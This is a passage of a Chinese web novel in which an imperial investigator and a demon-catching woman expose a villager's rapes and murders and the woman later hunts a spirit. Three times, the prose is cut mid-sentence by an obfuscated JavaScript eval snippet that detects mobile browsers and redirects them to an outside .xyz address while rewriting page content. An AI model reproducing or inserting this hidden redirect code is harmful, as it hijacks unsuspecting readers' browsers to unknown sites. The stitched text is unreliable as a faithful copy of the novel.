被霍彦先这么从刀上"捋"下来,三魂五魄又出去了一半,已经不知道自己在说什么了,嘶哑着嗓子吐.出几个字,“自愿的,自愿的……” 霍彦先终于得到了想要的答案,满意微笑,“各位看到了吧,他是自愿的。” “若是自愿的,确实下.贱……”阿婵在一旁凉凉地来了一句。 胡氏整个人太过震惊,已然呆滞,连哭喊都忘记了。 那些经常被胡三郎欺侮、但敢怒不敢言的村人情不自禁地拍手叫好。 不知道哪里来了条瘦骨嶙峋的野狗,在胡三郎破损的裤子中撕咬着将那一块血肉叼走了。 “扑通”一声,胡三郎的母亲晕死过去,倒地不醒。 10. 此恨绵绵无绝期 两具女尸的案子,又牵扯出更多案子。 胡三郎身上一时间不仅有杀害小宝的罪孽,更犯过多起强占凌.辱女子致死的命案。 罪大恶极。 薛县令治下出了这样多的恶性案件,今年的考课算是完了。但他依旧必须强打精神,如履薄冰地处理完整个案件。 因为如果是别人发现的,他顶多革职丢掉乌纱帽,可撞到了绣衣察事司副察事霍彦先手里,那丢的可能就是小命了。 以前他只是听说前任县令是怎么怎么被霍彦先搞下来的,尚没有什么实感。 如今见到胡三郎的惨状,他算是明白“沉命司”的“活阎王”是怎么来的了,太狠了! 还有那个阿婵,看起来总是一副笑意盈盈的样子,随时随地给人下套使坏,毫不手软,手段和霍彦先比起来也是不遑多让。 这两位神仙每次看自己的眼神,笑与不笑,都让他觉得自己的项上人头随时不稳。 因此,他得仔仔细细从头梳理清楚这个案子。 自昨日清晨村民在河边发现小宝的尸体,浑身淤青,呈溺亡状,河水便已开始翻腾不息。 胡三郎诬蔑阿婵将小宝杀魂做蛊,活生生将其淹死。 河水无风起浪,不能通航。村民认为是河神发怒,要将凶手阿婵绑起来投河,以平息河神之怒。 随后霍彦先赶到,发现小宝头部致命伤,推测其是先被谋害致死后才被投河,阻止村民将阿婵献祭河神。 随后四道天雷,让阿婵将胖头小鱼妖捉上岸,挖出它口中的真相,并发现卢七娘失踪一事,最后在第四道雷劈下时帮助小宝魂魄归体复活。 鱼妖和复活后的小宝还原了真相。 其实是小宝为了救鱼妖,挨打导致浑身淤青,因没钱吃饭,所以深夜去林间找东西换钱,意外.遇见胡三郎侵.犯卢七娘的作案现场,最后被胡三郎杀害投河。 胖头小鱼妖发现河中小宝已死去,不忍好友就这样成为河伥,耗费自己的大半修为将小宝的生魂抽离,融入自己的元神之中保存,结果触怒天道,这才引来四道天雷。 因鱼妖道行浅,无法将小宝的生魂完整剥离,它不惜在天雷中毁灭自己的元神,也要换小宝的魂魄转世投胎的机会。 就在鱼妖以为自己要死之时,阿婵帮助鱼妖将其元神和小宝的魂魄完整剥离,让小宝还魂复生,洗刷了自己被胡三郎冤枉“杀魂做蛊”的冤屈。 小宝讲述自己被害真相,引出卢七娘深夜被欺凌案,霍彦先率绣衣察事司司众找出了卢七娘和白骨两具尸体。 阿婵发现两具尸体均有“长恨蛊”,由蛊虫找到凶手是胡三郎。 胡三郎蛊虫发作之际,霍彦先惩戒胡三郎,村正不敢帮衬,让众多被胡三郎谋害过的年轻女子的家人勇于站出来,揭露其更多欺凌民女致死的罪行。 由于有绣衣察事司的“灵魂拷问”,薛县令很顺利地让胡三郎将自己的罪行全部供述。 这一切,要从胡三郎为摆脱“长恨蛊”的困扰说起。 他从一个方士那里重金求来的解蛊之法——挑选村中妙龄女子做目标,借泄..欲之举将蛊虫排出体外。 村正因与胡三郎五福之内算是亲戚,常年包庇其为非作歹,胡三郎时常抢占民女,无权势的村民只能被迫默默忍受,不敢反抗。 对于外乡女子,胡三郎更是欺负她们人生地不熟,随意扣上“蛊师”的帽子,让村民疏远孤立她们,方便行欺凌之事。 据胡三郎交代,小宝被害那晚,正是胡三郎遇到卢七娘抱着衣服沿河去往严二郎家里。 胡三郎本来只是偶遇调.戏她几句,但正巧赶上蛊虫发作,便起了歹念,用卢七娘引出蛊虫。 被小宝撞见后,胡三郎便顺手将小宝打晕,没想到下手失了分寸,一下便打死了。 而此时卢七娘尖叫着说他杀人,胡三郎一时慌神,便一不做二不休,将卢七娘也一并杀害,并将她手中的新衣服给小宝穿上投河,意欲嫁祸严二郎。 众人的注意力都被小宝之死占据,没人知道,卢七娘那一晚,是不是鼓起了巨大的勇气,满怀少女雀跃与忐忑的小心思,抱着自己用心绣了细细花纹的衣服,去见暗中倾慕已久的郎君,与他诉说自己的衷肠。 而这一切,都被胡三郎凌.辱、扼杀在了夜幕之下的河边。 后来小宝的尸体被村民发现,其父母请许长老为小宝超度时,发现小宝魂魄缺失。 胡三郎灵机一动,便借村民最深恶痛绝的“杀魂做蛊”,给阿婵扣上了杀人的帽子,煽动村民将其投河平息河神之怒,伺机报复阿婵将其扔下臭水沟的仇。 而追究胡三郎到底为何会中蛊,就不得不说到那具白骨。 原来这具白骨叫做温惠娘,和父母三人迁居于此,父母是蛊师,但迁过来没几年就去世了。 温惠娘年方二八,容貌姣好,一到村里就引起轰动,是出名的美人,被胡三郎看上,经常被其骚扰。 但她父母在时,慑于蛊师的厉害,胡三郎还不敢太过分,到其父母去世后,胡三郎变本加厉地欺辱她,甚至时常夜里到其家中蹂.躏她。 可怜温惠娘年纪小,孤苦无依,性子软糯,又没将父母的下蛊本领学到手,父母就去世了。 胡三郎随口一句她会“杀魂做蛊”,就让村里人躲她远远的,这样每次胡三郎欺辱温惠娘,就更没人会帮她。 直到有一天,村里人发觉,似乎很久都没有再见过温惠娘了。 有人壮着胆子去扒她家的门缝看,发现早已人去屋空,不知所踪。从此那村屋也废弃了,没人敢去里面,怕惹上毒虫晦气。 而正是从那时开始,人们发现河边林中草木鸟兽大片死亡,有人说是温惠娘搞鬼弄出的疫病,从此林子变成了大家都不敢涉足的禁地。 殊不知,其实是温惠娘以己之躯炼制长恨蛊,所服下的砒石随着她的尸体腐朽流散开来,才变成这样。 而疫病的传言,是村正帮助胡三郎放出来的,目的就是为了掩人耳目,不让村民发现他杀了温惠娘,埋尸于林中。 至于白骨的身份如何确认的,除了有胡三郎的供述,也有邢娘子帮助指认。 因为白骨身上的衣服,是邢娘子亲手送给温惠娘的。 邢娘子是村里木匠的妻子,看着柔柔弱弱,却看不惯村人孤立被称为蛊师的温惠娘,经常偷偷过去送些吃食衣物。 她的丈夫也是个老实人,夫妻俩能帮就帮,久而久之,也了解了一些温惠娘的情况。 阿婵被村里人冷眼相待时,邢娘子也偷偷偏帮,生怕阿婵落得像温惠娘一样不知所踪的下场。 阿婵被绑投河时,她急得不行,可自己一介普通人家,在村里无权无势,也没什么办法帮忙,只能干着急。 这回胡三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931437|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎被霍彦先和薛县令抓获,村里这些常年受胡三郎欺压的村民都出来指证其罪责,她才敢将这些说出来。 关于温惠娘的死因,邢娘子不知道,村里其他人更无人知晓。 胡三郎只说是温惠娘想要杀自己,自己被迫反击,误杀了温惠娘。 可当阿婵和霍彦先、薛县令到温惠娘生前居住的屋子里查看时,才真相大白。 温惠娘在房间隐蔽处,留下许多文字。她的难处无人可以诉说,哪怕是对她最好的邢娘子,她也羞于启齿。 满腔怨愤只能写在纸上,反正害怕她下蛊,村里没人敢来这间屋子,胡三郎每次来也只行腌臜之事,不会动她的东西。 写在纸上藏起来,看不见了,或许就能遗忘痛苦,她只能这样安慰自己。 但这些“苦不堪言”还是被精于“地毯式搜索”的绣衣察事司发现了。 综合温惠娘留下的文字和胡三郎的供述,所有人终于明白了真相: 原来温惠娘不堪胡三郎的长期欺凌,精神恍惚,总是幻想着父母能来拯救自己。 但是,没有用,每次胡三郎将她按在身.下肆意糟.蹋之时,她发现除了自己,没有别人能够帮她。 一而再,再而三,兔子急了还会咬人,她决心报复胡三郎。 她生性软弱,怕虫子不敢学蛊术,受欺凌不会大声呼救,甚至痛苦至极都不敢了结自己的生命。 但自从有了报复的念头,她虽不喜欢关于蛊虫的一切,但也开始翻看父母留下的笔记。 在其中,她看到了一种蛊虫,叫做“长恨蛊”。 施行“长恨蛊”,需要蛊师本身以身作蛊,非常痛苦,但长恨蛊可以保证中蛊者只要活着,无论身在何方,都一定会遭到蛊虫反噬,且不会伤害其他人。 温惠娘一看到这个“长恨蛊”,立刻就决定是它了。 她早就不想活了,也不求死后能安息,她只求胡三郎这个禽.兽,一定要遭到报应! 一天夜里,胡三郎轻车熟路摸到她家,对她欲行不轨。她温言软语把胡三郎迷得晕晕乎乎,将其引到了河边树林之中。 在那之前,她服下了定量的砒石。 温惠娘抽出藏着的匕首,刺向伏在她身上的胡三郎,不出所料,她力量太弱,准头太偏,没有刺中。 胡三郎又惊又怒,没料到这娇娇软软只会哭泣的小娘子竟敢对他做出这种事,气急败坏之下,反过来用匕首直.插.她胸口。 那一刀,扎得很深,足以致命。 正是温惠娘所求。 终于可以解脱了。 胡三郎看到温惠娘中刀之后忽然笑了,笑得他毛骨悚然,慌乱就地挖坑将她掩埋。 温惠娘躺在地上,任温热的血液流淌,任黄土一抔一抔覆盖在她身上,任砒石之毒在她体内发作,胸口疼痛沁入肺腑,渐渐窒息,而她只抬头看天空。 那一晚,天朗气清,满目星河,萤萤绚丽,很美很美。 她已经很久没能好好欣赏夜色了。 每一个胡三郎不来的夜晚,她都提心吊胆。每一个被胡三郎欺辱的夜晚,她都恨夜为什么这么长,为什么黑暗还不过去。为什么偏偏是她。 她真的,好恨啊。 所幸,她的痛苦,到此为止。 而她的复仇,在她死后的一刹那,即将开始。 此恨绵绵无绝期。 11. “那祭台有什么?” 但温惠娘没料到的是,她以为万无一失的“长恨蛊”,竟然被胡三郎找到了解蛊之法,虽然最后他遭到了报应,但村中还有那么多年轻女子受害。 不过,这不是她的错。 该死的另有其人。 霍彦先叫薛县令押解胡三郎回呈溪县衙,将小宝、温惠娘、卢七娘、莫七女儿等案件并案调查。 胡三郎按律从重处置,死是逃不掉的,绣衣察事司的刑罚也逃不了,但更重要的是,要让受害者陈冤昭雪。 村正被废,一众平日里和胡三郎为非作歹狼狈为奸,陷害无辜女子的村霸势力也一一被顺势揪出严惩。 待案件查明后,胡氏需拿出大量家财赔偿各位受害人家属。 霍彦先敲打薛县令,要是敢与村霸势力之间玩什么猫腻,小心他...... 话没说完,薛县令差点剖心明志,发誓自己与村正等人绝无私交,否则让阿婵随便给他下点这个蛊那个符的死了算了。 “那个邢娘子......”霍彦先思忖村中恶势力可能无法马上根除,她留在村里,怕会出事。 薛县令已学会抢答,立刻道:“大人放心,邢娘子和其夫君,二人品性良善,协助破案有功,正好县衙缺木匠和厨娘,我已问过他二人是否愿意去县衙司职,他们皆愿,若通过考核,今后便隶属县衙。” 霍彦先点点头,表示你小子总算有点长进。 而后,他让常驻呈溪县的绣衣察事司介入,好好查一下胡三郎接触的那个方士到底什么来历,竟给出如此歹毒的解蛊之法,怕不是来自什么祸害百姓的邪..教,必须揪出严惩,以避免更大祸患。 其他事宜,由薛县令按照章程办理,而霍彦先和绣衣察事司已在此耽搁快两日,需尽快渡河,去荔南府与三皇子会合,调查贪墨案。 *** 霍彦先回到河边。河水已恢复先前的平静,夕阳偏过来,在河面洒下一涛碎金。 他让杨奉安组织绣衣察事司司众,准备下午尽快渡河。而后随意往旁边一瞥,便看到阿婵站在岸边,正在和小宝、鱼妖说话。 阿婵已回家换了一身青金配月白色裙衫,少了几分捉妖方士的缥缈,倒是多了几分寻常人家小娘子的亲切。 她见小宝的眼神瞟向她身侧,扭头便看到了霍彦先,笑着招呼了一句“霍大人回来啦”,朝他走来。 夕阳余晖映在她素净的脸庞,半点不施粉黛,肌肤却粉白透亮,眉眼间笑意盈盈,澄澈明净。 倒是隐藏得很好,看她面对小宝全然没有了那晚夜幕篝火旁妖异蛊惑的气质,霍彦先暗自想。 “霍大人,放心渡河吧,那个胖头鱼我已经给扔回河里了。我救下它,它答应我以后都会在这里保证渡河旅人的安全,慢慢弥补损失的道行。” 阿婵指着河边恢复原身、露出个脑袋八卦的胖头小鱼妖,爽朗道:“你们是第一拨渡河人,它一定会尽心尽力护你们平安,这点法力它还是有的,其他水里的东西不足为患。” 霍彦先点点头,冲鱼妖抱拳:“那就麻烦你多费心了。” 鱼妖猛猛点头,钻进水里不见了。 “也多谢你,阿婵。”这是霍彦先第一次正式叫她的名字。 “不不不,还要谢谢霍大人你,邢娘子刚才跟我说,你记挂她夫妻二人安危,让县令大人将他们调去县衙啦,大人你人真好!” “不用谢我,薛县令说他们夫妻二人手艺不错,若能通过考核,去县衙更有用武之地。” 霍彦先顿了顿又说:“你也不赖,听说你介绍小宝入玄门清修,还给了他很多钱,让他给母亲买药治病,救人一命胜造七级浮屠。” 两人都笑起来,在对方眼神里找到了“不愧是老油条,互相吹捧有一套”的默契。 阿婵谦虚道:“哪里哪里,胖头小鱼妖不是也说小宝是它见过魂魄最干净的孩子,此次他历劫复生,身体心性都历经锤炼,正是入玄门修行的好时机。 正巧我认识复行观的道长,想要寻个资质绝佳的关门弟子,不过是做个顺水人情罢了,难得的是小宝也愿意。 复兴观那边有很多灵药可以给他母亲治病。他刚入门也不好白拿灵药,我就借他点钱买药,治病要紧嘛,以后他在道门混出头也还是要连本带利还的。我阿婵的钱,可不是随随便便那么好收的。” 霍彦先点点头,突然盯着她的眼睛问:“你的名字,就叫阿婵?” “是的大人,婵娟的婵。” “没有姓氏?” “阿婵无父无母,天生地养,没有姓氏。” “天生地养?那捉妖的本事跟谁学的?” “霄擎山炁云洞,苍衍道长是我师父,他从野狼窝中捡到的我。” 霍彦先盯着她的眼睛,她依旧光明正大笑着回视,没有半点躲闪,对答如流。 似乎没有说谎的迹象,那她假意被绑投河到底是为了什么呢? “祭坛有什么?”霍彦先紧接着没来由地问了一句。 阿婵的眼神变了。 霍彦先盯着她的双眼审视。 阿婵轻笑:“霍大人不愧是绣衣副察事,什么都瞒不过你,其实我在此是为了捉妖。” “捉妖?” “是。我是捉妖方士,在寻‘焰炁饕妖’,它是入药治疗疑难杂症的药引,我靠这个挣钱。这妖物惯以盛大香火为食,村人聚众祭祀的香火刚好可以引出它来。” “所以你无辜被绑也不辩解,由着村民搞这么大阵仗,就是让他们帮你引出这个妖怪。” 阿婵坦然点头。 霍彦先再次审视阿婵,依旧没有从她的眼神中看出半点谎言的迹象。 罢了,霍彦先移开眼看向远处的渡船,欲告辞离开。 “了解了,阿婵娘子。余下的事情薛县令都会继续处理,你有什么事就跟他说吧,我们就先走了。” “大人渡河之后,是要去往何处?”阿婵突然问道。 霍彦先闻言脚步一顿,看了她一眼,有意隐瞒动向,“渡河办点事,怎么了?” 阿婵了然点头,忽又笑得明媚,“没什么,只不过大人日后如果要往荔南府走,一定要注意,过段时间可能会有水患,望大人平安。” ? 她怎么知道他们的行程? 霍彦先这回真的有点怀疑她的身份了,难道是三皇子派来的“尾巴”? 不过这也太大费周章了,而且这么不加遮掩么? 霍彦先眼神一下子冷了,“你何来此推测?” “因为,我是妖女啊。”阿婵眼神中又多了狡黠。 霍彦先哑然失笑,看向她的眼神终于换上了“好累不想陪你演了,你是不是觉得绣衣察事司很闲”的戾气。 “开个玩笑嘛霍大人,阿婵绝无坏心眼。只因除了捉妖外,我还通晓一些星占之术。 前几日我夜观天象,观测到‘月犯东井’在东南。这在星占中通常预示着水患与贪墨,而发生此天象的地域正指示着荔南府地界。 大人既然是绣衣副察事,去荔南府查贪墨案也是正常,而且此地正是通往荔南的捷径。因此我才出言提醒大人。 如果大人不去荔南府,也可以通知那边的同僚有备无患。我真的没有别的意思,只希望荔南百姓平安。” “你师父除了会捉妖,还会星占?” “是我个人兴趣,从小喜欢看星星看月亮,四处找书来自己研究的。” “无师自通?” “略有天赋。” “那你的星占水平,和捉妖相比,哪个更高明?” “怎么说呢?论捉妖的话,十只妖怪我或许能捉到七只。但论星占,十段坏姻缘我能顺利拆十对儿,不忠不仁不义的一方目前都遭了报应,大人可还满意?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931438|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “......” 霍彦先没好气:“拆人姻缘和预测国家之事能一样吗?” “有何不同?这么说吧,大人你看那些高明的卦师,无论是个人命运,还是国运,不都一样算? 无非是利用卦书辅助,再加上自己常年算卦得来的经验,算例越多,经验越丰富,结果就越准确。当然也还是要有点天赋的。” 提到星占,阿婵滔滔不绝: “星占这一行也是如此。像《桓阙占经》《寰天论》等星占历书我都常年钻研,倒背如流。 因为其中有千百年来历朝历代的星占大师们观测总结的星辰运行规律和对应发生的真实事件,他们都为上位者服务,若不准可是要杀头的,这样给出的卜辞自然多数是可供参考的。 当然,也不能盲目相信书中所言,还得结合我自己多年来的占星经验,综合考量天、地、人等多种情况,才能谨慎做出判断,绝不是随口瞎说的。” “照你这么高的水平,司辰局没你可惜了?”霍彦先语带讽刺。 “司辰局啊,那可是大桓所有星占师的梦!咱就是吃亏在身份低微,缺个人脉,不如大人给引荐引荐?”阿婵眼神放光,一脸向往。 “......” 许久没见过这么厚脸皮的了,霍彦先十分钦佩,继续追问:“那你是从何知道绣衣察事司的?” “我平日四处云游替人捉妖,遇到官场上的主雇,交谈中偶尔听他们提起过绣衣察事司,顺便就了解了一耳朵。”阿婵乖巧道。 “你可知关系到国计民生之事,说谎妨碍公务会有刑狱之灾?” “知道。”阿婵脆声应道,“若非事关重大,若我没有把握,何必主动跟大人您提起?难道只是为了戏耍您?是我觉得胡三郎下场不够惨?还是牢里的饭特别香?” 她太过坦然,霍彦先倒是沉默了片刻,才说:“我不管你是通过什么渠道知道的绣衣察事司,又是通过什么渠道知道荔南会有贪墨案,这些东西不要对外声张。” 最后一句,他刻意重音,神情不容半点戏谑。 阿婵也正色道:“大人放心,我也希望大人能够早日抓到贪墨案主使,避开水患,不止是为了大人,更主要是希望百姓不要受苦。” 她见霍彦先眼中仍有浓重的怀疑,又补充道:“大人请相信我,此次星占卜辞我只对您一个人说过,如若我在贪墨水患之事上说谎,现在就天降一道雷劈死我,不,五道也行。” 她伸出五根手指,信誓旦旦。 霍彦先见识过四道天雷的威力,但他觉得,凡人撒谎天雷应该是不会随便出动的,否则以他经手过的重罪犯数量,估计雷一天十二个时辰不间断都劈不过来。 算了,不管她是什么身份,藏了什么心,真话也好,假话也罢,总之他这里先记上一笔,如有问题,她逃不掉。 霍彦先再次转身欲走,却犹豫一下,又停下脚步,问了一句:“荔南真有水患?” “大人,星辰是不会说谎的。”阿婵迎着他的目光,坦坦荡荡。 霍彦先盯了她半晌,险把她脸上盯出个洞,却只看到“真诚”两个字。 罢了,他头一次产生了无力感,“那便多谢你,我会转告同僚多加防范。祝我们再见不是在牢狱之中。” 话毕,转身告辞。 “祝霍大人顺利渡河啊。”阿婵笑眯眯摆手,原地不动看他走远。 然后她转身,笑意不再。 *** 霍彦先走到渡船边上,叮嘱杨奉安,“回去查查那个叫阿婵的小娘子,到底什么底细。顺便发密信到桓安,问问司辰局,最近的天象是否提示过荔南有异常。” 阿婵转身走向之前河边准备祭祀河神的祭台,如今已经无人问津,疲惫的村人只想回家,村正被治罪,也没人领头收拾。 她的手抚过祭台台面,眉头蹙起。 12. 入梦 “饱餐一顿啊,好吧,这回算你赢。”阿婵看着香烛上被重重啃咬过的痕迹,内心非常郁闷。 这是她在仙昙村待了五个月的原因,也是她心甘情愿被绑投河的原因。 焰炁饕妖。 十年的准备,就差最后这一环,她便可以回到桓安开启她的计划。 她需要这个焰炁饕妖入药,去给那个人祛除脸上的胎记。 这个小妖怪经常游走在各种香火旺盛的地方,寻常香烛它看不上,一定要特别盛大的香火才能吸引它出现。 仙昙村靠近荔南一带,人们喜欢求神拜佛,香火旺盛。 这村子其实蛮地灵人杰,不然也不会孕育出胖头小鱼妖这种修炼短短百年便有大进境的精怪,以及小宝这种筋骨绝佳的修道之人。 香火和灵气吸引了焰炁饕妖前来。 阿婵一路追踪焰炁饕妖,在这里逗留的时间最久。 可惜村正纵容胡三郎这种败类作死,把此地的灵气败坏了许多。 五个月了,阿婵一直就差一点点抓到它。 因为这小东西着实鸡贼,胆小又灵活,稍有点风吹草动就会跑路,所以经常在各种全村盛会中趁乱啃上一口香烛就跑。 阿婵已经跟它玩腻了猫捉老鼠的游戏。 本来想着过几天村中会在祠堂进行祭祖大典,集齐全村人虔诚愿力的香火一定会吸引这个小家伙现身。 但没想到,小宝遇害让阿婵提前得到了被全村人的愿力香火祭祀的机会。 尽管这次是大家希望将她投河,但也管不了那么多,反正只要能顺利抓到焰炁饕妖,就算投十次河她也能乖乖配合。 可更没想到,半路先杀出个霍彦先“为她出头”,后又杀出个“胖头小鱼妖”,蠢得要死竟然引来四道天雷,她忙活一.大通,没顾上看祭台,结果让焰炁饕妖又一次钻了空子。 但也没办法,捉妖就是这样,精怪有各种各样的习性,捉妖过程中也会有各种各样的状况出现,她早已习惯。 抓“镜衍”的时候,她在幽谷镜渊边上啃着饼风餐露宿了三个月,远不如仙昙村还有间屋子可以栖身。 不过还好,如今距离她的计划正式开启还有一些时日,她就在村里等着祭典时再抓它。 这次就算五雷轰顶也要抓到焰炁饕妖,起程去桓安。 随后,阿婵又想到霍彦先。 若是没有他,说不定此时已经抓到了焰炁饕妖。 她着实没想到会在那晚的情况下遇到他,这完全在她的计划之外。 不过,当年林中葬父的人情,她在河边也算已经还了,他们现在两不相欠…… 剩下的,便是重重疑问。 他当年为何奉圣人之命去给父亲镇煞却又违抗?他和父亲到底有什么关系?他是否知道父亲之死的真相,或者……参与其中? 她虽多年查访,这个谜团却依旧有一.大半还未解开。 这么多年的查探里,绣衣察事司对她来说是最难啃的骨头,而此番接触下来,让她觉得想要撬开霍彦先的嘴,不如躺下开始做梦…… 她叹了口气,只能再想办法,抬头看看天色,这几日她也确实没有好好睡过一觉,是该休息一下了…… 晚上,阿婵回到暂住的村屋院落,点燃加了艾草驱蚊的百刻香,躺在摇椅上,看落日熔金,看夜幕低垂,直到满天星斗。 这是她最喜欢的时刻——只有她一个人,安安静静地看着天空。 夜风吹过,吹得万千星河闪烁。 那里不仅有角木蛟、井木犴、奎木狼、昴日鸡……还有她的父母亲人、她的阿菀。 阿婵脑袋昏昏沉沉,似睡非睡,半梦半醒。 似乎听到父亲在她耳畔,举着她的手,指着天空给她比划二十八星宿的方位,这是苍龙的两个角,那是朱雀的尾巴,你看像不像? 观完星,母亲还会拿出专门从桓安带来的新式糕点给她,咬上一口,香香甜甜。 香气引着她回到桓安,阿兄在路上遇到乔装成腿受伤沿路要饭的她,不仅给了她好多钱,还死活要带她去医馆,害得她推拒半晌差点露馅。 忽又看到阿菀躺在树屋和她一起看星星,突然弹坐起来,大喊着“阿婵阿婵有百足虫,你快帮我抓,快帮我抓啊!” 她知道这是梦,因为只有在梦里,她才能见到他们,听他们说话,和他们嬉笑玩闹。 可每一次梦境的最后,都会让她嗅到刑场上父亲身首分离天降血雨的腥气。 都会让她在满是潮湿泥泞的山道碎石间,看到被山石埋葬,横七竖八扭曲交错在一起的家人尸体。 都会让她看着那从楼上一跃而下的纤薄身躯,“砰”地一声闷响坠地,变得血肉模糊。 无论她怎么控制不让自己的手发.抖,滚落在地的头颅都无法拼接回父亲的身体。 无论她怎么用水擦洗,母亲和阿兄阿姐祖父祖母满是泥泞的尸体都擦洗不干净。 无论她怎么小心翼翼,都捧不起阿菀全身碎裂的骨骼,最后只能眼睁睁地看着她化作一滩血肉,从指缝间流走。 哭喊。混着泪水。 喘不过气,像溺水之人放弃挣.扎,逐渐沉.沦的窒息。 直到最后,惊醒。 这也是她最害怕的时刻。 连梦都残忍。 自十年前,每当黑夜降临,等待阿婵的就不再是安然的酣眠。 这世间唯二愿意陪她看星星的父亲和阿菀,不在了。 会抱抱她,摸着她的脑袋温言哄她入睡的母亲不在了。 会对假装受伤路人甲的她嘘寒问暖、关怀备至的阿兄阿姐祖父祖母,也不在了。 从此这片夜空虽然依旧星斗璀璨,却也好寂寞。 纵然世间有万千条路,她只能一个人走。 她常常午夜梦回惊醒,会有片刻不记得今夕何夕,待清醒后发现岁月早已流转,内心又会缓缓蒸腾起滔天恨意。 “请你们......再等等,很快,害你们的人都会下地狱......一个都不会跑...... 到时候,我就去找你们团聚......” 阿婵惨白着一张脸,从半梦中惊醒,额头渗出细薄的汗珠,喃喃自语。 她看了看身侧,从百刻香燃落的灰烬估算,大概过了两个时辰。 她默默计算着,去掉观星的时间,这次大概睡了一个多时辰。 不错,还是睡了一会儿的。 阿婵对着铜镜,看看眼下的青黑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931439|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 得养足精神啊,回到桓安估计就没什么时间好好睡觉了。 十年前出事时,她几乎日日彻夜难眠,好几次捉妖时差点出事,经过多年的调理,已经能够每日睡一到两个时辰,进步很大。 要不是从小在炁云洞跟着师父练功,就照这么消耗,估计自己早已油尽灯枯了。 油尽灯枯并不可怕,但她要做的事情还未完成,暂时还不能枯。 阿婵内心默默感谢师父并祝他老人家长命百岁,一边将今日观星以及睡眠时长记录下来。 随后,她从随身背囊中拿出一片龟甲,算着力道,掼到地上,龟甲碎裂开来。 她又取出一块江陵野猿的头骨,对比着上面的裂纹,内心做着计较。 因为夜晚入睡困难,阿婵已经习惯了不停找事做,要么观星、要么捉妖、要么练功,只要事情做得够多,不愁累不晕。 待练了一套内息功法后,她还是精神抖擞,没办法只好出门寻找焰炁饕妖,挥发一下剩余的精力。 *** 自霍彦先和薛县令将仙昙村村霸势力起底整顿,最近村中太平无事。 阿婵过了几天一无所获平静又无聊的日子,终于到了村中祭典的这一天。 村人正好借祭典重新选拔一个村正。 薛县令生怕再选出一个村霸苗子,还特地抽空亲自到场参与监督,杜绝后患。 阿婵一直躲在角落里,盯着祠堂祭台,祭典怎么进行,村正怎么选拔,她一概不感兴趣,就这样直到深夜。 祭典结束,众人早已散去,只有她一个人还在角落潜伏。 这夜一直乌云笼罩,连星星都没得看,阿婵百无聊赖地打个哈欠,忽看到邢娘子拿着件斗笠向她走来。 “阿婵,我到处都找不到你,怎么躲在这里?” “我一向到处躲懒,你又不是不知,找我做什么?”阿婵懒洋洋道。 “夜里凉,披件衣服。”邢娘子将袍子塞给阿婵,还有一堆针线活小东西。 “这些都给你,自己留着用,姑娘家平日老是风餐露宿,也不知道心疼自己。”邢娘子嗔怪。 “这不是有你心疼嘛,大半夜你大着肚子提这么多东西到处走,木匠也真是放心你。” “他陪我一起来的,就在那边等着呢。”邢娘子往身后指指。 “好好好,你夫君天下第一好,知道了知道了。”阿婵好无力,深夜一个人潜伏捉妖还要被秀恩爱是一种什么感觉。 “天亮再给我也行呀,又不急在这一时。”阿婵道。 “来不及啦,我天亮就要和夫君一同随县令大人起程,去县衙履职了,这两天一直忙着考核,考核结束还要打点家中事宜,也顾不上找你。”邢娘子眼中有不舍,还有希冀。 “哦呦,飞黄腾达了!苟.富贵,勿.相忘!”阿婵抱紧她的胳膊。 “去你的,别贫嘴......”邢娘子笑着打她。 下一刻,她突见阿婵表情严肃起来,竖起手指让她噤声。 “嘘!等我一下!” 她只听到阿婵这样说了一句,便感到眼前一花,怀中多了袍子和针线,眼前人影已无。 阿婵朝祠堂飞掠而去。 终于等到它了! 13. 黑影煞气 祠堂黑漆漆一片,只有一缕红光快速游走其中,奔着享堂正中供奉的高大香烛而去。 焰炁饕妖正美滋滋地大口大口啃着香烛,突然感到一阵风袭来。 它本身就是一有风吹草动就会立马跑路的性子,立马警觉起来。 阿婵的符箓快,但它更快,一道符箓尚未飞至,它已经放开香烛,闪身躲开,一边发出滋滋哇哇、骂骂咧咧的怒音,一边朝着享堂的门缝冲出去。 泛着金光的符箓扑了个空,在空中一个急转又朝门外的焰炁饕妖追踪而来。 “还往哪儿跑!”阿婵正欲跟着符箓追过去,却见邢娘子身后好大一片黑影。 不对劲! 那黑影不是月光投下的影子,也不是周围的树影,而是一团煞气凝结而成,朝着邢娘子的腹部呈包围之势,似要将她吞噬。 而邢娘子还一头雾水看着阿婵到处乱窜,毫无所觉。 “小心!”阿婵顾不上焰炁饕妖,迅速掏出镇煞符,手一扬,黑夜顷刻便被她手中符箓的金光照亮。 